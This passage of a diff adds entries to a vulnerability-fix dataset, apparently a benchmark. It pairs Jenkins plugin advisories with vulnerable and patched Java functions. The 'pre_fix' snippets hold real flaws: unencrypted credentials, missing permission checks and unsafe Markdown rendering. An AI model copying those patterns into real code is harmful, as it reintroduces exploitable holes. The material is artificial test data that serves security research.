+post_fix = " public Secret getPrivateToken() {\n return privateToken;\n }\n"
+pre_fix = " public String getPrivateToken() {\n return privateToken;\n }\n"
+repo = "jenkinsci/gitlab-logo-plugin"
+url = "https://github.com/jenkinsci/gitlab-logo-plugin.git"
+
+[[case]]
+advisory = "GHSA-22rj-q66g-2jg3"
+advisory_text = "Jenkins GitLab Logo Plugin stores credentials unencrypted\n\nJenkins GitLab Logo Plugin stores credentials unencrypted in its global configuration file on the Jenkins master where they can be viewed by users with access to the master file system."
+commit = "1a64595353df91b5fcf2d9336fa627e06ef1f8a9"
+cwe = "CWE-522"
+family = "config_secrets"
+function = "getProject"
+function_lines = [[65, 76]]
+id = "jenkinsci-gitlab-logo-plugin-46246cf241510f0a"
+language = "java"
+method = "fix_site"
+parent = "f4c28e3db4974bfb03ba41838e68a1d99debd75b"
+path = "src/main/java/org/jenkinsci/plugins/gitlablogo/GitlabLogoProperty.java"
+post_fix = " private Project getProject() {\n DescriptorImpl descriptor = getDescriptor();\n GitlabApi api = new GitlabApi(descriptor.getEndpointUrl(), descriptor.getPrivateToken().getPlainText());\n return api.getCachedProject(getRepositoryName());\n }\n\n @Extension\n public static final class DescriptorImpl extends JobPropertyDescriptor\n {\n private Secret privateToken;\n private String endpointUrl;\n"
+pre_fix = " private Project getProject() {\n DescriptorImpl descriptor = getDescriptor();\n GitlabApi api = new GitlabApi(descriptor.getEndpointUrl(), descriptor.getPrivateToken());\n return api.getCachedProject(getRepositoryName());\n }\n\n @Extension\n public static final class DescriptorImpl extends JobPropertyDescriptor\n {\n private String privateToken;\n private String endpointUrl;\n"
+repo = "jenkinsci/gitlab-logo-plugin"
+url = "https://github.com/jenkinsci/gitlab-logo-plugin.git"
+
+[[case]]
+advisory = "GHSA-22rj-q66g-2jg3"
+advisory_text = "Jenkins GitLab Logo Plugin stores credentials unencrypted\n\nJenkins GitLab Logo Plugin stores credentials unencrypted in its global configuration file on the Jenkins master where they can be viewed by users with access to the master file system."
+commit = "1a64595353df91b5fcf2d9336fa627e06ef1f8a9"
+cwe = "CWE-522"
+family = "config_secrets"
+function = "configure"
+function_lines = [[100, 110]]
+id = "jenkinsci-gitlab-logo-plugin-f771ba20ac33c126"
+language = "java"
+method = "fix_site"
+parent = "f4c28e3db4974bfb03ba41838e68a1d99debd75b"
+path = "src/main/java/org/jenkinsci/plugins/gitlablogo/GitlabLogoProperty.java"
+post_fix = " public boolean configure(StaplerRequest req, JSONObject formData) throws FormException {\n // To persist global configuration information,\n // set that to properties and call save().\n privateToken = Secret.fromString(formData.getString(\"privateToken\"));\n endpointUrl = formData.getString(\"endpointUrl\");\n // ^Can also use req.bindJSON(this, formData);\n // (easier when there are many fields; need set* methods for this, like setUseFrench)\n save();\n return super.configure(req, formData);\n }\n"
+pre_fix = " public boolean configure(StaplerRequest req, JSONObject formData) throws FormException {\n // To persist global configuration information,\n // set that to properties and call save().\n privateToken = formData.getString(\"privateToken\");\n endpointUrl = formData.getString(\"endpointUrl\");\n // ^Can also use req.bindJSON(this, formData);\n // (easier when there are many fields; need set* methods for this, like setUseFrench)\n save();\n return super.configure(req, formData);\n }\n"
+repo = "jenkinsci/gitlab-logo-plugin"
+url = "https://github.com/jenkinsci/gitlab-logo-plugin.git"
+
+[[case]]
+advisory = "GHSA-chm8-wp3h-f4m3"
+advisory_text = "Jenkins jira-ext Plugin stores credentials unencrypted\n\nJenkins jira-ext Plugin 0.8 and earlier stored credentials unencrypted in its global configuration file `hudson.plugins.jira.JiraProjectProperty.xml` on the Jenkins master. These credentials could be viewed by users with access to the Jenkins master file system.\n\njira-ext Plugin version 0.9 stores credentials encrypted."
+commit = "e252f4084089e5cfb4c7bad389d3d20f3ec594fb"
+cwe = "CWE-522"
+family = "config_secrets"
+function = "readResolve"
+function_lines = [[75, 84]]
+id = "jenkinsci-jira-ext-plugin-28565b34d1c8489d"
+language = "java"
+method = "fix_site"
+parent = "ecce81cdba8bc4c5f2f891363c2e05a753b86484"
+path = "src/main/java/org/jenkinsci/plugins/jiraext/Config.java"
+post_fix = " public Object readResolve()\n {\n if (timeout == null)\n {\n timeout = 10;\n }\n if (StringUtils.isNotEmpty(password)) {\n this.encryptedPassword = Secret.fromString(password);\n this.password = null;\n }\n return this;\n }\n\n @Override"
+pre_fix = " public Object readResolve()\n {\n if (timeout == null)\n {\n timeout = 10;\n }\n return this;\n }\n\n @Override"
+repo = "jenkinsci/jira-ext-plugin"
+url = "https://github.com/jenkinsci/jira-ext-plugin.git"
+
+[[case]]
+advisory = "GHSA-chm8-wp3h-f4m3"
+advisory_text = "Jenkins jira-ext Plugin stores credentials unencrypted\n\nJenkins jira-ext Plugin 0.8 and earlier stored credentials unencrypted in its global configuration file `hudson.plugins.jira.JiraProjectProperty.xml` on the Jenkins master. These credentials could be viewed by users with access to the Jenkins master file system.\n\njira-ext Plugin version 0.9 stores credentials encrypted."
+commit = "e252f4084089e5cfb4c7bad389d3d20f3ec594fb"
+cwe = "CWE-522"
+family = "config_secrets"
+function = "newJiraClient"
+function_lines = [[39, 55]]
+id = "jenkinsci-jira-ext-plugin-9bc3b4180b83656a"
+language = "java"
+method = "fix_site"
+parent = "ecce81cdba8bc4c5f2f891363c2e05a753b86484"
+path = "src/main/java/org/jenkinsci/plugins/jiraext/svc/impl/JiraClientFactoryImpl.java"
+post_fix = " public JiraClient newJiraClient()\n {\n Config.PluginDescriptor config = Config.getGlobalConfig();\n String jiraUrl = config.getJiraBaseUrl();\n String username = config.getUsername();\n String password = config.getEncryptedPassword() == null ? null : config.getEncryptedPassword().getPlainText();\n\n BasicCredentials creds = new BasicCredentials(username, password);\n JiraClient client = new JiraClient(jiraUrl, creds);\n DefaultHttpClient httpClient = (DefaultHttpClient)client.getRestClient().getHttpClient();\n int timeoutInSeconds = config.getTimeout();\n HttpConnectionParams.setConnectionTimeout(httpClient.getParams(), timeoutInSeconds * 1000);\n HttpConnectionParams.setSoTimeout(httpClient.getParams(), timeoutInSeconds * 1000);\n return client;\n }\n\n}"
+pre_fix = " public JiraClient newJiraClient()\n {\n Config.PluginDescriptor config = Config.getGlobalConfig();\n String jiraUrl = config.getJiraBaseUrl();\n String username = config.getUsername();\n String password = config.getPassword();\n\n BasicCredentials creds = new BasicCredentials(username, password);\n JiraClient client = new JiraClient(jiraUrl, creds);\n DefaultHttpClient httpClient = (DefaultHttpClient)client.getRestClient().getHttpClient();\n int timeoutInSeconds = config.getTimeout();\n HttpConnectionParams.setConnectionTimeout(httpClient.getParams(), timeoutInSeconds * 1000);\n HttpConnectionParams.setSoTimeout(httpClient.getParams(), timeoutInSeconds * 1000);\n return client;\n }\n\n}"
+repo = "jenkinsci/jira-ext-plugin"
+url = "https://github.com/jenkinsci/jira-ext-plugin.git"
+
+[[case]]
+advisory = "GHSA-4g29-r7vj-2rpv"
+advisory_text = "Jenkins Job Import Plugin allows attackers with Overall/Read permission to enumerate credentials IDs of credentials stored in Jenkins\n\nJenkins Job Import Plugin 3.5 and earlier does not perform a permission check in an HTTP endpoint, allowing attackers with Overall/Read permission to enumerate credentials IDs of credentials stored in Jenkins. An enumeration of credentials IDs in Job Import Plugin 3.6 requires Job Import/Import Jobs permission."
+commit = "1b4119849571d4879977c529f9972d271ad6a630"
+cwe = "CWE-862"
+family = "access_control"
+function = "doFillJenkinsSitesItems"
+function_lines = [[336, 342]]
+id = "jenkinsci-job-import-plugin-07e0e7023a46cf4d"
+language = "java"
+method = "fix_site"
+parent = "647b3d5a034708c7f8dd61194c476b4e2b8d9593"
+path = "src/main/java/org/jenkins/ci/plugins/jobimport/JobImportAction.java"
+post_fix = " public ListBoxModel doFillJenkinsSitesItems() {\n if (!Jenkins.get().hasPermission(JOB_IMPORT)) {\n return new StandardListBoxModel();\n }\n final ListBoxModel listBoxModel = new ListBoxModel();\n JobImportGlobalConfig.get().getSites().stream().forEach(s -> listBoxModel.add(s.getName(), s.getName() + \"-\" + s.getUrl() + \"-\" + s.getDefaultCredentialsId()));\n return listBoxModel;\n }\n }\n}"
+pre_fix = " public ListBoxModel doFillJenkinsSitesItems() {\n final ListBoxModel listBoxModel = new ListBoxModel();\n JobImportGlobalConfig.get().getSites().stream().forEach(s -> listBoxModel.add(s.getName(), s.getName() + \"-\" + s.getUrl() + \"-\" + s.getDefaultCredentialsId()));\n return listBoxModel;\n }\n }\n}"
+repo = "jenkinsci/job-import-plugin"
+url = "https://github.com/jenkinsci/job-import-plugin.git"
+
+[[case]]
+advisory = "GHSA-4g29-r7vj-2rpv"
+advisory_text = "Jenkins Job Import Plugin allows attackers with Overall/Read permission to enumerate credentials IDs of credentials stored in Jenkins\n\nJenkins Job Import Plugin 3.5 and earlier does not perform a permission check in an HTTP endpoint, allowing attackers with Overall/Read permission to enumerate credentials IDs of credentials stored in Jenkins. An enumeration of credentials IDs in Job Import Plugin 3.6 requires Job Import/Import Jobs permission."
+commit = "1b4119849571d4879977c529f9972d271ad6a630"
+cwe = "CWE-862"
+family = "access_control"
+function = "doFillCredentialIdItems"
+function_lines = [[318, 335]]
+id = "jenkinsci-job-import-plugin-5509a356384e862e"
+language = "java"
+method = "fix_site"
+parent = "647b3d5a034708c7f8dd61194c476b4e2b8d9593"
+path = "src/main/java/org/jenkins/ci/plugins/jobimport/JobImportAction.java"
+post_fix = " public ListBoxModel doFillCredentialIdItems() {\n if (!Jenkins.get().hasPermission(JOB_IMPORT)) {\n return new StandardListBoxModel();\n }\n return new StandardListBoxModel()\n .includeEmptyValue()\n .includeMatchingAs(\n Jenkins.getAuthentication(),\n Jenkins.getInstanceOrNull(),\n StandardUsernamePasswordCredentials.class,\n Collections.emptyList(),\n CredentialsMatchers.always()\n ).includeMatchingAs(\n ACL.SYSTEM,\n Jenkins.getInstanceOrNull(),\n StandardUsernamePasswordCredentials.class,\n Collections.emptyList(),\n CredentialsMatchers.always()\n );\n }\n"
+pre_fix = " public ListBoxModel doFillCredentialIdItems() {\n return new StandardListBoxModel()\n .includeEmptyValue()\n .includeMatchingAs(\n Jenkins.getAuthentication(),\n Jenkins.getInstanceOrNull(),\n StandardUsernamePasswordCredentials.class,\n Collections.emptyList(),\n CredentialsMatchers.always()\n ).includeMatchingAs(\n ACL.SYSTEM,\n Jenkins.getInstanceOrNull(),\n StandardUsernamePasswordCredentials.class,\n Collections.emptyList(),\n CredentialsMatchers.always()\n );\n }\n"
+repo = "jenkinsci/job-import-plugin"
+url = "https://github.com/jenkinsci/job-import-plugin.git"
+
+[[case]]
+advisory = "GHSA-xqpp-26pp-2365"
+advisory_text = "XSS vulnerability in Jenkins Markdown Formatter Plugin\n\nJenkins Markdown Formatter Plugin 0.1.0 and earlier uses a Markdown library to parse Markdown that does not escape crafted link target URLs.\n\nThis results in a stored cross-site scripting (XSS) vulnerability exploitable by attackers with the ability to edit any description rendered using the configured markup formatter.\n\nJenkins Markdown Formatter Plugin 0.2.0 uses a different Markdown library that is not affected by this problem."
+commit = "6b283a5bba3424fd5174b92e7ad8724cdbdf596c"
+cwe = "CWE-79"
+family = "output_encoding"
+function = "MarkdownFormatter"
+function_lines = [[30, 48]]
+id = "jenkinsci-markdown-formatter-plugin-9c93ac91e86f4cc5"
+language = "java"
+method = "fix_site"
+parent = "fefbc410c36d273daa49440a66a8337b0de0606d"
+path = "src/main/java/io/jenkins/plugins/MarkdownFormatter.java"
+post_fix = " public MarkdownFormatter() {\n }\n\n\n static {\n List extensions = Arrays.asList(\n TablesExtension.create(),\n AutolinkExtension.create(),\n StrikethroughExtension.create(),\n InsExtension.create()\n );\n htmlRenderer = HtmlRenderer.builder().extensions(extensions).escapeHtml(true).sanitizeUrls(true).build();\n markdownParser = Parser.builder().extensions(extensions).build();\n }\n\n @Override"
+pre_fix = " public MarkdownFormatter() {\n }\n\n static {\n options.set(Parser.EXTENSIONS, Arrays.asList(\n TablesExtension.create(),\n StrikethroughExtension.create(),\n TaskListExtension.create(),\n// GfmUsersExtension.create(),\n// GfmIssuesExtension.create(),\n EmojiExtension.create()\n ));\n options.set(EmojiExtension.USE_IMAGE_TYPE, EmojiImageType.UNICODE_FALLBACK_TO_IMAGE);\n options.set(EmojiExtension.USE_SHORTCUT_TYPE, EmojiShortcutType.GITHUB);\n htmlRenderer = HtmlRenderer.builder(options).escapeHtml(true).build();\n markdownParser = Parser.builder(options).build();\n }\n\n @Override"
+repo = "jenkinsci/markdown-formatter-plugin"
+url = "https://github.com/jenkinsci/markdown-formatter-plugin.git"
+
+[[case]]
+advisory = "GHSA-xqpp-26pp-2365"
+advisory_text = "XSS vulnerability in Jenkins Markdown Formatter Plugin\n\nJenkins Markdown Formatter Plugin 0.1.0 and earlier uses a Markdown library to parse Markdown that does not escape crafted link target URLs.\n\nThis results in a stored cross-site scripting (XSS) vulnerability exploitable by attackers with the ability to edit any description rendered using the configured markup formatter.\n\nJenkins Markdown Formatter Plugin 0.2.0 uses a different Markdown library that is not affected by this problem."
+commit = "6b283a5bba3424fd5174b92e7ad8724cdbdf596c"
+cwe = "CWE-79"
+family = "output_encoding"
+function = "translate"
+function_lines = [[49, 59]]
+id = "jenkinsci-markdown-formatter-plugin-dd25c90bea9a886e"
+language = "java"
+method = "fix_site"
+parent = "fefbc410c36d273daa49440a66a8337b0de0606d"
+path = "src/main/java/io/jenkins/plugins/MarkdownFormatter.java"
+post_fix = " public void translate(String markup, Writer output) throws IOException {\n if (markup != null) {\n Node document = markdownParser.parse(EmojiParser.parseToUnicode(markup));\n output.write(htmlRenderer.render(document));\n } else {\n output.write(\"\");\n }\n }\n\n @Extension\n public static class DescriptorImpl extends MarkupFormatterDescriptor {\n @Override"
+pre_fix = " public void translate(String markup, Writer output) throws IOException {\n if (markup != null) {\n output.write(htmlRenderer.render(markdownParser.parse(markup)));\n } else {\n output.write(\"\");\n }\n }\n\n @Extension\n public static class DescriptorImpl extends MarkupFormatterDescriptor {\n @Override"
+repo = "jenkinsci/markdown-formatter-plugin"
+url = "https://github.com/jenkinsci/markdown-formatter-plugin.git"
+
+[[case]]
+advisory = "GHSA-9qv8-7jfq-73j2"
+advisory_text = "Open redirect vulnerability in Jenkins OpenId Connect Authentication Plugin\n\nJenkins OpenId Connect Authentication Plugin 2.6 and earlier improperly determines that a redirect URL after login is legitimately pointing to Jenkins, allowing attackers to perform phishing attacks."
+commit = "a97a4041f39c85aa746c047ac14ee69199dadf05"
+cwe = "CWE-601"
+family = "untrusted_destination"
+function = "getValidRedirectUrl"
+function_lines = [[733, 762]]
+id = "jenkinsci-oic-auth-plugin-072cfcf18988ef12"
+language = "java"
+method = "fix_site"
+parent = "c04ea98f3c8276fc506a8cbfab551667167a2f36"
+path = "src/main/java/org/jenkinsci/plugins/oic/OicSecurityRealm.java"
+post_fix = " protected String getValidRedirectUrl(String url) {\n if (url != null && !url.isEmpty()) {\n // Check if the URL is relative and starts with a slash\n if (url.startsWith(\"/\")) {\n return getRootUrl() + url; // Convert to absolute URL\n }\n // If not relative, then check if it's a valid absolute URL\n try {\n URL parsedUrl = new URL(url);\n String host = parsedUrl.getHost();\n String expectedHost = new URL(getRootUrl()).getHost();\n // Check if the host matches the Jenkins domain\n if (host.equals(expectedHost)) {\n return url; // The URL is absolute and valid\n }\n } catch (MalformedURLException e) {\n // Invalid absolute URL, will return root URL\n }\n }\n // If the URL is null, empty, or invalid, return the root URL\n return getRootUrl();\n }\n\n /**\n * Handles the the securityRealm/commenceLogin resource and sends the user off to the IdP\n * @param from the relative URL to the page that the user has just come from\n * @param referer the HTTP referer header (where to redirect the user back to after login has finished)\n * @return an {@link HttpResponse} object\n */\n @Restricted(DoNotUse.class) // stapler only"
+pre_fix = " private String getValidRedirectUrl(String url) {\n if (url != null && !url.isEmpty()) {\n // Check if the URL is relative and starts with a slash\n if (url.startsWith(\"/\")) {\n return getRootUrl() + url; // Convert to absolute URL\n }\n // If not relative, then check if it's a valid absolute URL\n try {\n URL parsedUrl = new URL(url);\n String host = parsedUrl.getHost();\n String expectedHost = new URL(getRootUrl()).getHost();\n // Check if the host matches the Jenkins domain\n if (host.equals(expectedHost)) {\n return url; // The URL is absolute and valid\n }\n } catch (MalformedURLException e) {\n // Invalid absolute URL, will return root URL\n }\n }\n // If the URL is null, empty, or invalid, return the root URL\n return getRootUrl();\n }\n\n /**\n * Handles the the securityRealm/commenceLogin resource and sends the user off to the IdP\n * @param from the relative URL to the page that the user has just come from\n * @param referer the HTTP referer header (where to redirect the user back to after login has finished)\n * @return an {@link HttpResponse} object\n */\n @Restricted(DoNotUse.class) // stapler only"
+repo = "jenkinsci/oic-auth-plugin"
+url = "https://github.com/jenkinsci/oic-auth-plugin.git"
+
+[[case]]
+advisory = "GHSA-72x3-c7jc-q35x"
+advisory_text = "Improper authorization in Jenkins Job and Node Ownership Plugin\n\nAn improper authorization vulnerability exists in Jenkins Job and Node Ownership Plugin 0.11.0 and earlier in \n```\nOwnershipDescription.java, \nJobOwnerJobProperty.java, \nand OwnerNodeProperty.java \n```\nthat allow an attacker with Job/Configure or Computer/Configure permission and without Ownership related permissions to override ownership metadata."
+commit = "42487df17cd272e504d3cd3e09abb4904f80dba2"
+cwe = "CWE-285"
+family = "access_control"
+function = "setItemSpecificSecurity"
+function_lines = [[171, 175]]
+id = "jenkinsci-ownership-plugin-aec8f0570f4b80f1"
+language = "java"
+method = "fix_site"
+parent = "5e83dc828899332f6e2d076ee554ffccea6e5f12"
+path = "src/main/java/com/synopsys/arc/jenkins/plugins/ownership/jobs/JobOwnerJobProperty.java"
+post_fix = " public void setItemSpecificSecurity(@CheckForNull ItemSpecificSecurity security) throws IOException {\n itemSpecificSecurity = security;\n owner.save();\n }\n\n static {\n // TODO: Remove reflection once baseline is updated past 2.85.\n try {\n Method m = XStream2.class.getMethod(\"addCriticalField\", Class.class, String.class);\n m.invoke(Items.XSTREAM2, JobOwnerJobProperty.class, \"ownership\");\n } catch (IllegalAccessException | InvocationTargetException | NoSuchMethodException e) {\n throw new ExceptionInInitializerError(e);\n }\n }\n}"
+pre_fix = " public void setItemSpecificSecurity(@CheckForNull ItemSpecificSecurity security) throws IOException {\n itemSpecificSecurity = security;\n owner.save();\n }\n}"
+repo = "jenkinsci/ownership-plugin"
+url = "https://github.com/jenkinsci/ownership-plugin.git"
+
+[[case]]
+advisory = "GHSA-f9v6-p7hp-c3qx"
+advisory_text = "Missing permission checks in Jenkins P4 Plugin\n\nA missing permission check in Jenkins P4 Plugin 1.10.10 and earlier allows attackers with Overall/Read permission to trigger builds or add labels in the Perforce repository.\n\nP4 Plugin 1.10.11 appropriate user permissions for the affected HTTP endpoints."
+commit = "2f2a31d8d36de7abab45820fab3a82f4c682b760"
+cwe = "CWE-862"
+family = "access_control"
+function = "doChangeSubmit"
+function_lines = [[105, 125]]
+id = "jenkinsci-p4-plugin-5022afedadfe8449"
+language = "java"
+method = "fix_site"
+parent = "a168eb417f4b725612123be12ac014b01ab09999"
+path = "src/main/java/org/jenkinsci/plugins/p4/trigger/P4Hook.java"
+post_fix = "\tpublic void doChangeSubmit(StaplerRequest req, StaplerResponse rsp) throws IOException, ServletException {\n\n\t\tcheckPermission(Item.BUILD);\n\n\t\tJSONObject formData = req.getSubmittedForm();\n\t\tif (!formData.isEmpty()) {\n\t\t\tString port = req.getParameter(\"_.p4port\");\n\t\t\t//String change = req.getParameter(\"_.change\");\n\t\t\tList jobs = getJobs();\n\n\t\t\tLOGGER.info(\"Manual trigger event: \");\n\t\t\tif (port != null) {\n\t\t\t\tprobeJobs(port, jobs);\n\t\t\t} else {\n\t\t\t\tLOGGER.warning(\"p4port must be specified\");\n\t\t\t}\n\n\t\t\t// send the user back.\n\t\t\trsp.sendRedirect(\"../\");\n\t\t}\n\t}\n"
+pre_fix = "\tpublic void doChangeSubmit(StaplerRequest req, StaplerResponse rsp)\n\t\t\tthrows IOException, ServletException {\n\n\t\tJSONObject formData = req.getSubmittedForm();\n\t\tif (!formData.isEmpty()) {\n\t\t\tString port = req.getParameter(\"_.p4port\");\n\t\t\t//String change = req.getParameter(\"_.change\");\n\t\t\tList jobs = getJobs();\n\n\t\t\tLOGGER.info(\"Manual trigger event: \");\n\t\t\tif (port != null) {\n\t\t\t\tprobeJobs(port, jobs);\n\t\t\t} else {\n\t\t\t\tLOGGER.warning(\"p4port must be specified\");\n\t\t\t}\n\n\t\t\t// send the user back.\n\t\t\trsp.sendRedirect(\"../\");\n\t\t}\n\t}\n"
+repo = "jenkinsci/p4-plugin"
+url = "https://github.com/jenkinsci/p4-plugin.git"
+
+[[case]]
+advisory = "GHSA-f9v6-p7hp-c3qx"
+advisory_text = "Missing permission checks in Jenkins P4 Plugin\n\nA missing permission check in Jenkins P4 Plugin 1.10.10 and earlier allows attackers with Overall/Read permission to trigger builds or add labels in the Perforce repository.\n\nP4 Plugin 1.10.11 appropriate user permissions for the affected HTTP endpoints."
+commit = "2f2a31d8d36de7abab45820fab3a82f4c682b760"
+cwe = "CWE-862"
+family = "access_control"
+function = "doChange"
+function_lines = [[69, 91]]
+id = "jenkinsci-p4-plugin-65a59903d43924ee"
+language = "java"
+method = "fix_site"
+parent = "a168eb417f4b725612123be12ac014b01ab09999"
+path = "src/main/java/org/jenkinsci/plugins/p4/trigger/P4Hook.java"
+post_fix = "\tpublic void doChange(StaplerRequest req) throws ServletException, IOException {\n\n\t\tcheckPermission(Item.BUILD);\n\n\t\tString body = IOUtils.toString(req.getInputStream(), Charset.forName(\"UTF-8\"));\n\t\tString contentType = req.getContentType();\n\t\tif (contentType != null && contentType.startsWith(\"application/json\")) {\n\t\t\tbody = URLDecoder.decode(body, \"UTF-8\");\n\t\t}\n\t\tif (body.startsWith(\"payload=\")) {\n\t\t\tbody = body.substring(8);\n\t\t\tJSONObject payload = JSONObject.fromObject(body);\n\n\t\t\tfinal String port = payload.getString(\"p4port\");\n\t\t\t//final String change = payload.getString(\"change\");\n\n\t\t\tLOGGER.info(\"Received trigger event for: \" + port);\n\t\t\tif (port == null) {\n\t\t\t\tLOGGER.warning(\"p4port must be specified\");\n\t\t\t\treturn;\n\t\t\t}\n\n\t\t\t// Use an executor to prevent blocking the trigger during polling\n\t\t\texecutorService.submit(new Runnable() {\n\n\t\t\t\t@Override"
+pre_fix = "\tpublic void doChange(StaplerRequest req) throws IOException {\n\t\tString body = IOUtils.toString(req.getInputStream(), Charset.forName(\"UTF-8\"));\n\t\tString contentType = req.getContentType();\n\t\tif (contentType != null && contentType.startsWith(\"application/json\")) {\n\t\t\tbody = URLDecoder.decode(body, \"UTF-8\");\n\t\t}\n\t\tif (body.startsWith(\"payload=\")) {\n\t\t\tbody = body.substring(8);\n\t\t\tJSONObject payload = JSONObject.fromObject(body);\n\n\t\t\tfinal String port = payload.getString(\"p4port\");\n\t\t\t//final String change = payload.getString(\"change\");\n\n\t\t\tLOGGER.info(\"Received trigger event for: \" + port);\n\t\t\tif (port == null) {\n\t\t\t\tLOGGER.warning(\"p4port must be specified\");\n\t\t\t\treturn;\n\t\t\t}\n\n\t\t\t// Use an executor to prevent blocking the trigger during polling\n\t\t\texecutorService.submit(new Runnable() {\n\n\t\t\t\t@Override"
+repo = "jenkinsci/p4-plugin"
+url = "https://github.com/jenkinsci/p4-plugin.git"
+
+[[case]]
+advisory = "GHSA-f9v6-p7hp-c3qx"
+advisory_text = "Missing permission checks in Jenkins P4 Plugin\n\nA missing permission check in Jenkins P4 Plugin 1.10.10 and earlier allows attackers with Overall/Read permission to trigger builds or add labels in the Perforce repository.\n\nP4 Plugin 1.10.11 appropriate user permissions for the affected HTTP endpoints."
+commit = "2f2a31d8d36de7abab45820fab3a82f4c682b760"
+cwe = "CWE-862"
+family = "access_control"
+function = "doBuild"
+function_lines = [[78, 125]]
+id = "jenkinsci-p4-plugin-85c3775c29eb0c5c"
+language = "java"
+method = "fix_site"
+parent = "a168eb417f4b725612123be12ac014b01ab09999"
+path = "src/main/java/org/jenkinsci/plugins/p4/review/ReviewAction.java"
+post_fix = "\tpublic void doBuild(StaplerRequest req, StaplerResponse rsp) throws IOException, ServletException {\n\n\t\tproject.checkPermission(Item.BUILD);\n\n\t\tList values = new ArrayList();\n\t\tList defs = new ArrayList();\n\n\t\tEnumeration> names = req.getParameterNames();\n\t\twhile (names.hasMoreElements()) {\n\t\t\tString name = (String) names.nextElement();\n\t\t\tdefs.add(new StringParameterDefinition(name, null));\n\t\t}\n\n\t\tfor (ParameterDefinition d : defs) {\n\t\t\tStringParameterValue value = (StringParameterValue) d.createValue(req);\n\t\t\tif (value == null || value.getValue() == null) {\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\tString s = (String) value.getValue();\n\t\t\tif (s != null && !s.isEmpty()) {\n\t\t\t\tvalues.add(value);\n\t\t\t}\n\t\t}\n\n\t\t// Schedule build\n\t\tTimeDuration delay = new TimeDuration(project.getQuietPeriod());\n\t\tCauseAction cause = new CauseAction(new Cause.UserIdCause());\n\n\t\tList internalParams = extractAndRemoveInternalParameters(values);\n\t\tParametersAction params = new SafeParametersAction(values, internalParams);\n\n\t\tJenkins j = Jenkins.getInstance();\n\t\tif (j != null) {\n\t\t\tQueue queue = j.getQueue();\n\t\t\tqueue.schedule(project, delay.getTime(), params, cause);\n\n\t\t\t// send the user back to the job top page.\n\t\t\trsp.sendRedirect(\"../\");\n\t\t}\n\t}\n\n\t/**\n\t * It extracts and removes internal parameters from the full list of parameters as they need to be managed\n\t * in a special way for security reasons (related to SECURITY-170).\n\t *\n\t * @param values internal parameters values (internal parameters are defined in {@link #getParameterDefinitions()}\n\t * @return internal parameters values\n\t */"
+pre_fix = "\tpublic void doBuild(StaplerRequest req, StaplerResponse rsp) throws IOException, ServletException {\n\n\t\tproject.checkPermission(AbstractProject.BUILD);\n\n\t\tList values = new ArrayList();\n\t\tList defs = new ArrayList();\n\n\t\tEnumeration> names = req.getParameterNames();\n\t\twhile (names.hasMoreElements()) {\n\t\t\tString name = (String) names.nextElement();\n\t\t\tdefs.add(new StringParameterDefinition(name, null));\n\t\t}\n\n\t\tfor (ParameterDefinition d : defs) {\n\t\t\tStringParameterValue value = (StringParameterValue) d.createValue(req);\n\t\t\tif (value == null || value.getValue() == null) {\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\tString s = (String) value.getValue();\n\t\t\tif (s != null && !s.isEmpty()) {\n\t\t\t\tvalues.add(value);\n\t\t\t}\n\t\t}\n\n\t\t// Schedule build\n\t\tTimeDuration delay = new TimeDuration(project.getQuietPeriod());\n\t\tCauseAction cause = new CauseAction(new Cause.UserIdCause());\n\n\t\tList internalParams = extractAndRemoveInternalParameters(values);\n\t\tParametersAction params = new SafeParametersAction(values, internalParams);\n\n\t\tJenkins j = Jenkins.getInstance();\n\t\tif (j != null) {\n\t\t\tQueue queue = j.getQueue();\n\t\t\tqueue.schedule(project, delay.getTime(), params, cause);\n\n\t\t\t// send the user back to the job top page.\n\t\t\trsp.sendRedirect(\"../\");\n\t\t}\n\t}\n\n\t/**\n\t * It extracts and removes internal parameters from the full list of parameters as they need to be managed\n\t * in a special way for security reasons (related to SECURITY-170).\n\t *\n\t * @param values internal parameters values (internal parameters are defined in {@link #getParameterDefinitions()}\n\t * @return internal parameters values\n\t */"
+repo = "jenkinsci/p4-plugin"
+url = "https://github.com/jenkinsci/p4-plugin.git"
+
+[[case]]
+advisory = "GHSA-f9v6-p7hp-c3qx"
+advisory_text = "Missing permission checks in Jenkins P4 Plugin\n\nA missing permission check in Jenkins P4 Plugin 1.10.10 and earlier allows attackers with Overall/Read permission to trigger builds or add labels in the Perforce repository.\n\nP4 Plugin 1.10.11 appropriate user permissions for the affected HTTP endpoints."
+commit = "2f2a31d8d36de7abab45820fab3a82f4c682b760"
+cwe = "CWE-862"
+family = "access_control"
+function = "doBuildSubmit"
+function_lines = [[70, 77]]
+id = "jenkinsci-p4-plugin-a1c0ab5c3582fc3b"
+language = "java"
+method = "fix_site"
+parent = "a168eb417f4b725612123be12ac014b01ab09999"
+path = "src/main/java/org/jenkinsci/plugins/p4/review/ReviewAction.java"
+post_fix = "\tpublic void doBuildSubmit(StaplerRequest req, StaplerResponse rsp) throws IOException, ServletException {\n\n\t\tproject.checkPermission(Item.BUILD);\n\n\t\tJSONObject formData = req.getSubmittedForm();\n\t\tif (!formData.isEmpty()) {\n\t\t\tdoBuild(req, rsp);\n\t\t}\n\t}\n\n\t@POST"
+pre_fix = "\tpublic void doBuildSubmit(StaplerRequest req, StaplerResponse rsp) throws IOException, ServletException {\n\n\t\tJSONObject formData = req.getSubmittedForm();\n\t\tif (!formData.isEmpty()) {\n\t\t\tdoBuild(req, rsp);\n\t\t}\n\t}\n"
+repo = "jenkinsci/p4-plugin"
+url = "https://github.com/jenkinsci/p4-plugin.git"
+
+[[case]]
+advisory = "GHSA-f9v6-p7hp-c3qx"
+advisory_text = "Missing permission checks in Jenkins P4 Plugin\n\nA missing permission check in Jenkins P4 Plugin 1.10.10 and earlier allows attackers with Overall/Read permission to trigger builds or add labels in the Perforce repository.\n\nP4 Plugin 1.10.11 appropriate user permissions for the affected HTTP endpoints."
+commit = "2f2a31d8d36de7abab45820fab3a82f4c682b760"
+cwe = "CWE-862"
+family = "access_control"
+function = "doEvent"
+function_lines = [[49, 68]]
+id = "jenkinsci-p4-plugin-fdef12ac487474fb"
+language = "java"
+method = "fix_site"
+parent = "a168eb417f4b725612123be12ac014b01ab09999"
+path = "src/main/java/org/jenkinsci/plugins/p4/trigger/P4Hook.java"
